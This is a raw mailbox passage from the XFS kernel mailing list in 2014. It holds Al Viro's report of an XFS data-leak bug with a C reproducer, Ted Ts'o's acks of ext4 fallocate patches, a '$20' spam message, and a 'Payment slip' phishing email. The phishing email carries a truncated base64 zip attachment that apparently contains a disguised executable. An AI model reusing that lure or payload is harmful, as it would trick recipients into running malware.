\0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 \0 * 0003000 And that's essentially what makes generic/263 complain. Note, BTW, that fallocate and hole-punching is irrelevant - test in generic/263 steps into those, but the same thing happens with these operations disabled (by -F -H). I've found the thread from last June where you've mentioned generic/263 regression; AFAICS, Dave's comments there had been wrong... From viro@ftp.linux.org.uk Sat Mar 15 21:21:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id D3B8D29DF7 for ; Sat, 15 Mar 2014 21:21:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay3.corp.sgi.com (Postfix) with ESMTP id 659ADAC001 for ; Sat, 15 Mar 2014 19:21:12 -0700 (PDT) X-ASG-Debug-ID: 1394936467-04cbb054b93c4fd0001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id jqMW65hKUP3kmVIB (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Mar 2014 19:21:07 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WP0hF-000203-Ud; Sun, 16 Mar 2014 02:21:05 +0000 Date: Sun, 16 Mar 2014 02:21:05 +0000 From: Al Viro To: Brian Foster Cc: xfs@oss.sgi.com, Dave Chinner , linux-fsdevel@vger.kernel.org Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140316022105.GQ18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140315210216.GP18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1394936467 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3937 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sat, Mar 15, 2014 at 09:02:16PM +0000, Al Viro wrote: > And that's essentially what makes generic/263 complain. Note, BTW, that > fallocate and hole-punching is irrelevant - test in generic/263 steps into > those, but the same thing happens with these operations disabled (by -F -H). > > I've found the thread from last June where you've mentioned generic/263 > regression; AFAICS, Dave's comments there had been wrong... BTW, experimenting with that thing shows that junk in the tail of the page actually comes from some unused sectors on the same device. So it's an information leak at the very least - I have seen it pick bits and pieces of previously removed files that way. While we are at it, the following creates such a buggered file in about a half of runs: #include #include #include #include #include #include #define O_DIRECT 00040000 main() { int n = 0x5cf2e - 0x47000; int fd = open("/mnt/junk", O_RDWR|O_CREAT|O_TRUNC|O_DIRECT, 0666); char *p; ftruncate(fd, 0x5cf2e); p = mmap(NULL, n, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0x47000); memset(p, 'x', n); msync(p, n, MS_SYNC); munmap(p, n); lseek(fd, 0x59000, SEEK_SET); p = malloc(0x13a00 + 512); memset(p, 'z', 0x13a00 + 512); write(fd, p + 512 - ((unsigned long)p & 511), 0x13a00); } The frequency depends on the fraction of unused sectors with non-zero contents - for all I know it might hit that bug in 100% of runs, but I can only detect that if the junk it picks contains non-zero data. From viro@ftp.linux.org.uk Sat Mar 15 21:39:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 3A8A829DF7 for ; Sat, 15 Mar 2014 21:39:38 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 1573E304032 for ; Sat, 15 Mar 2014 19:39:35 -0700 (PDT) X-ASG-Debug-ID: 1394937571-04bdf05dab5f6300001-NocioJ Received: from ZenIV.linux.org.uk (zeniv.linux.org.uk [195.92.253.2]) by cuda.sgi.com with ESMTP id B858Ta5RSGip5qdY (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Sat, 15 Mar 2014 19:39:33 -0700 (PDT) X-Barracuda-Envelope-From: viro@ftp.linux.org.uk X-Barracuda-Apparent-Source-IP: 195.92.253.2 Received: from viro by ZenIV.linux.org.uk with local (Exim 4.76 #1 (Red Hat Linux)) id 1WP0z5-00026B-DK; Sun, 16 Mar 2014 02:39:31 +0000 Date: Sun, 16 Mar 2014 02:39:31 +0000 From: Al Viro To: Brian Foster Cc: xfs@oss.sgi.com, Dave Chinner , linux-fsdevel@vger.kernel.org Subject: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" Message-ID: <20140316023931.GR18016@ZenIV.linux.org.uk> X-ASG-Orig-Subj: Re: fs corruption exposed by "xfs: increase prealloc size to double that of the previous extent" References: <20140315210216.GP18016@ZenIV.linux.org.uk> <20140316022105.GQ18016@ZenIV.linux.org.uk> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20140316022105.GQ18016@ZenIV.linux.org.uk> User-Agent: Mutt/1.5.21 (2010-09-15) Sender: Al Viro X-Barracuda-Connect: zeniv.linux.org.uk[195.92.253.2] X-Barracuda-Start-Time: 1394937572 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3937 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Sun, Mar 16, 2014 at 02:21:05AM +0000, Al Viro wrote: > On Sat, Mar 15, 2014 at 09:02:16PM +0000, Al Viro wrote: > > > And that's essentially what makes generic/263 complain. Note, BTW, that > > fallocate and hole-punching is irrelevant - test in generic/263 steps into > > those, but the same thing happens with these operations disabled (by -F -H). > > > > I've found the thread from last June where you've mentioned generic/263 > > regression; AFAICS, Dave's comments there had been wrong... > > BTW, experimenting with that thing shows that junk in the tail of the page > actually comes from some unused sectors on the same device. So it's an > information leak at the very least - I have seen it pick bits and pieces of > previously removed files that way. Hrm... s/unused/not zeroed out/, actually - block size is 4K. So we have an empty file extended by ftruncate(), then mmap+msync+munmap in its tail, then O_DIRECT write starting from a couple of blocks prior to EOF and extending it by ~15 blocks. New EOF is 2.5Kb off the beginning of the (new) last block. Then it's closed. Remaining 1.5Kb of that last block is _not_ zeroed out; moreover, pagefault on that page ends up reading the entire block, the junk in the tail not getting zeroed out in in-core copy either. Interesting... From dewayneeller052@gmail.com Sat Mar 15 22:07:27 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.3 required=5.0 tests=FREEMAIL_ENVFROM_END_DIGIT, FREEMAIL_FROM,HTML_MESSAGE,T_DKIM_INVALID autolearn=no version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id 943FF29DF7 for ; Sat, 15 Mar 2014 22:07:27 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 2BB1BAC001 for ; Sat, 15 Mar 2014 20:07:24 -0700 (PDT) X-ASG-Debug-ID: 1394939240-04bdf076f031fd20001-NocioJ Received: from mail-lb0-f193.google.com (mail-lb0-f193.google.com [209.85.217.193]) by cuda.sgi.com with ESMTP id bGvfEJAgA61q7L1B (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Sat, 15 Mar 2014 20:07:21 -0700 (PDT) X-Barracuda-Envelope-From: dewayneeller052@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.217.193 X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.193] Received: by mail-lb0-f193.google.com with SMTP id c11so782827lbj.0 for ; Sat, 15 Mar 2014 20:07:20 -0700 (PDT) X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.193] X-Barracuda-IPDD: Level1 [gmail.com/209.85.217.193] DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=gmail.com; s=20120113; h=mime-version:date:message-id:subject:from:to:content-type; bh=tNSZ28urBb9aaJAjYyrWGlVPN8b6kAxCy+Zdly7daSk=; b=SxXKHXuFRMHpQ5zyYZR7s5OJlI1wrfmGo4PZ9LVVuO5stydu1EUvLULpKpTlYzflP0 SkI61bQ1DwxnvY6BwfX9egeg7VxnK0yeH4M2DxYmijJTHZj7JNu419vkzx8iBDwVp8vz kuos/ePnhB3oTy7827hWh+5JYKO+uolsGNGNHeUNKDf3ISc+ev+co10r5/wICuwkTI4Z WOHubzlX6rAqBCikYwpKzlsfIOwTNhirQ0CvVv10c4cyrz85Y5+udsfEEfCStQUlHFsb gG9FtxFLU4W/6DIk5H61DW7yn3g2VnBnS0z+2oH6x/qcj1BJ7NIVyNRa5CCmf9hR5eq+ T85g== MIME-Version: 1.0 X-Received: by 10.112.26.199 with SMTP id n7mr10623143lbg.27.1394932321668; Sat, 15 Mar 2014 18:12:01 -0700 (PDT) Received: by 10.114.22.70 with HTTP; Sat, 15 Mar 2014 18:12:01 -0700 (PDT) Date: Sat, 15 Mar 2014 21:12:01 -0400 Message-ID: Subject: I Want To Give You $20Dollars* From: Dewayne Eller X-ASG-Orig-Subj: I Want To Give You $20Dollars* To: undisclosed-recipients:; Content-Type: multipart/alternative; boundary=001a1133730284e10804f4aefded X-Barracuda-Connect: mail-lb0-f193.google.com[209.85.217.193] X-Barracuda-Start-Time: 1394939241 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.50 X-Barracuda-Spam-Status: No, SCORE=0.50 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA074, DKIM_SIGNED, DKIM_VERIFIED, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature 0.50 BSF_SC0_SA074 URI: Custom Rule SA074 0.00 HTML_MESSAGE BODY: HTML included in message --001a1133730284e10804f4aefded Content-Type: text/plain; charset=ISO-8859-1 if you were given an unlimited amount of $20DollarBills) and each time you gave one away you were allowed to keep one for yourself without any investment on your part... How many would you give away. http://receivetwentydollarsnow.timsleads.com/ Get $20Free.Plus $20For Everyone You Refer.You Each Get$20. http://receivetwentydollarsnow.timsleads.com/ If you no longer wish to receive emails from me simply reply to this email and put unsubscribe in the subject line --001a1133730284e10804f4aefded Content-Type: text/html; charset=ISO-8859-1 Content-Transfer-Encoding: quoted-printable

if you were given an unlimited amount of $20DollarBill= s) and
each time you gave one away you were allowed to keep one for
y= ourself without any investment on your part...


How many would yo= u give away.

http://receiv= etwentydollarsnow.timsleads.com/


Get $20Free.Plus $20For Eve= ryone You Refer.You Each Get$20.

http://receivetwentydollarsnow.timsleads.com/
If you no longer wish to receive emails from me simply reply
to this= email and put unsubscribe in the subject line
--001a1133730284e10804f4aefded-- From tytso@thunk.org Sat Mar 15 22:28:06 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 232D429DF7 for ; Sat, 15 Mar 2014 22:28:06 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0C03C8F8039 for ; Sat, 15 Mar 2014 20:28:05 -0700 (PDT) X-ASG-Debug-ID: 1394940481-04cb6c56765be2d0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id Z8DQD2EeHDPaSjKS (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Sat, 15 Mar 2014 20:28:01 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WP1jz-00027d-Cs; Sun, 16 Mar 2014 03:27:59 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id C810A5801F7; Sat, 15 Mar 2014 23:27:56 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1394940476; bh=qaE5UxW3u4PC/cGGk+QfXItdzffTaGOwEibQz6gL948=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=NKgpEgIo2opwDTESFUHlnLeOFzKI9DmX15vfZAhS+SFaS8alSjP5XK19LDn48yjTV djHS/q2tuwygIhXcbE1X83Kp7fGOqmNIEEXnMwNQtUPCtU9D8kKWFhk9LwK5C+f1Pc aEUyi3/fEdzeWkIgcioVOvtavFORC7GLBIqDLwhk= Date: Sat, 15 Mar 2014 23:27:56 -0400 From: tytso@mit.edu To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation Message-ID: <20140316032756.GA31988@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 1/6 v2] ext4: Update inode i_size after the preallocation References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-2-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355679-11160-2-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.22 (2013-10-16) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1394940481 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 08:14:34PM +0100, Lukas Czerner wrote: > Currently in ext4_fallocate we would update inode size, c_time and sync > the file with every partial allocation which is entirely unnecessary. It > is true that if the crash happens in the middle of truncate we might end > up with unchanged i size, or c_time which I do not think is really a > problem - it does not mean file system corruption in any way. Note that > xfs is doing things the same way e.g. update all of the mentioned after > the allocation is done. > > This commit moves all the updates after the allocation is done. In > addition we also need to change m_time as not only inode has been change > bot also data regions might have changed (unwritten extents). However > m_time will be only updated when i_size changed. > > Also we do not need to be paranoid about changing the c_time only if the > actual allocation have happened, we can change it even if we try to > allocate only to find out that there are already block allocated. It's > not really a big deal and it will save us some additional complexity. > > Also use ext4_debug, instead of ext4_warning in #ifdef EXT4FS_DEBUG > section. > > Signed-off-by: Lukas Czerner Thanks, applied. - Ted From tytso@thunk.org Sat Mar 15 22:28:15 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id B59BB29DFE for ; Sat, 15 Mar 2014 22:28:15 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 93807304039 for ; Sat, 15 Mar 2014 20:28:12 -0700 (PDT) X-ASG-Debug-ID: 1394940491-04cbb054b63c6fc0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id dcuXwG6DVLqVKzZd (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Sat, 15 Mar 2014 20:28:11 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WP1kA-00027t-SB; Sun, 16 Mar 2014 03:28:11 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 525B85801F7; Sat, 15 Mar 2014 23:28:08 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1394940488; bh=tVZxsH/bKAWvVMGZJvCPsY0AE6pxSqSq8+dM9qWQvVU=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=pVSXSFS93L222NkImpzrdwbTGWejqFZu1sgUYf5r8mnoAze2KH37+zWUUIZOG2946 0NRYEpq4mIr3sOvvILPo08a+G7TcJEjEaKFRaa08K+hgKS25VxfPGgA9OXeRVQQS5V wIIA2UDTcx2wsC700hObKL/EG8K0uHdmCkJVRLso= Date: Sat, 15 Mar 2014 23:28:08 -0400 From: tytso@mit.edu To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 2/6 v2] ext4: refactor ext4_fallocate code Message-ID: <20140316032808.GB31988@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 2/6 v2] ext4: refactor ext4_fallocate code References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-3-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355679-11160-3-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.22 (2013-10-16) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1394940491 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3938 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 08:14:35PM +0100, Lukas Czerner wrote: > Move block allocation out of the ext4_fallocate into separate function > called ext4_alloc_file_blocks(). This will allow us to use the same > allocation code for other allocation operations such as zero range which > is commit in the next patch. > > Signed-off-by: Lukas Czerner Thanks, applied. - Ted From tytso@thunk.org Sat Mar 15 23:13:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=T_DKIM_INVALID autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F155B29DF7 for ; Sat, 15 Mar 2014 23:13:43 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id DB0158F8035 for ; Sat, 15 Mar 2014 21:13:40 -0700 (PDT) X-ASG-Debug-ID: 1394943219-04cbb054b73c84e0001-NocioJ Received: from imap.thunk.org (imap.thunk.org [74.207.234.97]) by cuda.sgi.com with ESMTP id oxt19cJsYNES8FXf (version=TLSv1 cipher=AES128-SHA bits=128 verify=NO) for ; Sat, 15 Mar 2014 21:13:39 -0700 (PDT) X-Barracuda-Envelope-From: tytso@thunk.org X-Barracuda-Apparent-Source-IP: 74.207.234.97 Received: from root (helo=closure.thunk.org) by imap.thunk.org with local-esmtp (Exim 4.80) (envelope-from ) id 1WP2S9-0002Si-DY; Sun, 16 Mar 2014 04:13:37 +0000 Received: by closure.thunk.org (Postfix, from userid 15806) id 232665801F7; Sun, 16 Mar 2014 00:13:34 -0400 (EDT) DKIM-Signature: v=1; a=rsa-sha256; c=simple/simple; d=thunk.org; s=mail; t=1394943214; bh=eRPMU1vPdKdJiT92dMU8abkPwcufv6a7n8TajU7OQB4=; h=Date:From:To:Cc:Subject:References:In-Reply-To:From; b=LPNempdeU5Z8MQOWw7Nb91v1BSM1PwaVLXVKMVAUZLor+Q6xKuyx8qPqu0Hl0S25T x1zYwrfrqvUB2Ap8AQTHkgA4NM3o9KodLIsowQHd2MWi5BJfTFtfjPJmaaJZMaWlat 0bk8dGpaDDiq+MlVs2z4yuUB3Cn1kD+ByvVYJKCs= Date: Sun, 16 Mar 2014 00:13:34 -0400 From: tytso@mit.edu To: Lukas Czerner Cc: linux-ext4@vger.kernel.org, linux-fsdevel@vger.kernel.org, xfs@oss.sgi.com Subject: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate Message-ID: <20140316041334.GC31988@thunk.org> X-ASG-Orig-Subj: Re: [PATCH 5/6 v2] ext4: Introduce FALLOC_FL_ZERO_RANGE flag for fallocate References: <1393355679-11160-1-git-send-email-lczerner@redhat.com> <1393355679-11160-6-git-send-email-lczerner@redhat.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1393355679-11160-6-git-send-email-lczerner@redhat.com> User-Agent: Mutt/1.5.22 (2013-10-16) X-SA-Exim-Connect-IP: X-SA-Exim-Mail-From: tytso@thunk.org X-SA-Exim-Scanned: No (on imap.thunk.org); SAEximRunCond expanded to false X-Barracuda-Connect: imap.thunk.org[74.207.234.97] X-Barracuda-Start-Time: 1394943219 X-Barracuda-Encrypted: AES128-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, NO_REAL_NAME X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.3939 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 NO_REAL_NAME From: does not include a real name 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature On Tue, Feb 25, 2014 at 08:14:38PM +0100, Lukas Czerner wrote: > Introduce new FALLOC_FL_ZERO_RANGE flag for fallocate. This has the same > functionality as xfs ioctl XFS_IOC_ZERO_RANGE. > > It can be used to convert a range of file to zeros preferably without > issuing data IO. Blocks should be preallocated for the regions that span > holes in the file, and the entire range is preferable converted to > unwritten extents > > This can be also used to preallocate blocks past EOF in the same way as > with fallocate. Flag FALLOC_FL_KEEP_SIZE which should cause the inode > size to remain the same. > > Also add appropriate tracepoints. > > Signed-off-by: Lukas Czerner Thanks, applied. - Ted From goldengifls1@gmail.com Sun Mar 16 05:28:25 2014 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F0BE17F37 for ; Sun, 16 Mar 2014 05:28:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay1.corp.sgi.com (Postfix) with ESMTP id E0BF98F804B for ; Sun, 16 Mar 2014 03:28:21 -0700 (PDT) X-ASG-Debug-ID: 1394965599-04cb6c56785caba0001-NocioJ Received: from vps.kenresearch.com (162.210.70-240.confluence-networks.com [162.210.70.240]) by cuda.sgi.com with ESMTP id bQ8tE97bfoHNKImd (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO); Sun, 16 Mar 2014 03:26:40 -0700 (PDT) X-Barracuda-Envelope-From: goldengifls1@gmail.com X-Barracuda-Apparent-Source-IP: 162.210.70.240 Received: from localhost ([::1]:53458 helo=kenresearch.com) by vps.kenresearch.com with esmtpa (Exim 4.82) (envelope-from ) id 1WP89y-0002jL-Od; Sun, 16 Mar 2014 10:19:14 +0000 Received: from 202.43.188.4 ([202.43.188.4]) (SquirrelMail authenticated user ankur@kenresearch.com) by kenresearch.com with HTTP; Sun, 16 Mar 2014 10:19:14 -0000 Message-ID: <4d90dcd1d3720d3720577513859b667a.squirrel@kenresearch.com> Date: Sun, 16 Mar 2014 10:19:14 -0000 Subject: Payment slip From: "Martins" X-ASG-Orig-Subj: Payment slip Reply-To: moonzhuttle@gmail.com User-Agent: SquirrelMail/1.4.22 MIME-Version: 1.0 Content-Type: multipart/mixed;boundary="----=_20140316101914_49430" X-Priority: 3 (Normal) Importance: Normal X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - vps.kenresearch.com X-AntiAbuse: Original Domain - oss.sgi.com X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - gmail.com X-Get-Message-Sender-Via: vps.kenresearch.com: authenticated_id: ankur@kenresearch.com X-Barracuda-Connect: 162.210.70-240.confluence-networks.com[162.210.70.240] X-Barracuda-Start-Time: 1394965600 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Barracuda-BRTS-Status: 1 X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 To: undisclosed-recipients:; ------=_20140316101914_49430 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 8bit Dear Customer, Good morning, attached here is the payment slip of USD 176,000.00 of our balance payment, please confirm and get back to us. Thanks and best regards, Martins. Contact Us. Martins American Changer Corporation 1400 N. W. 65th Place Fort Lauderdale, FL 33309 Phone: 954-917-30094 Fax: 954-917-30797 Toll Free: 800-741-9840 ------=_20140316101914_49430 Content-Type: application/octet-stream; name="Bank slip.zip" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="Bank slip.zip" UEsDBBQAAAAIACg7U0Q3gydXERQHAECmCwANAAAARE9DU18xNDE5LmV4ZZTbB1wcxR4H8L3juLKQ cuFyRyAJxFgQSAJR0jRK7g5CCJBImiS2BDBHCnc5IBJUjPr0WRKNXWNs2HvvzxZ7xxY1tth7b8+W vPnP/u6AH8+Peoa73e/O/ndmd2d2ZnetXrjBSDEMw6H+duwwjLsM61Nq/PVnrfobmHPPQOM2z7Oj 7rJVPTtqbqSpJTcWjy6NL16ZW7+4uTnamrukMTfe1pzb1JwbnjUnd2W0oXHsgAHmzogxu8wwqmwp RlmNY04i7jbDbkuzuQ3jgDTDCFvW3KGmcxMpSq1pu5Vv+SR+DSNd+/O/p6mf0uMMY7D+1/Ob/NEf 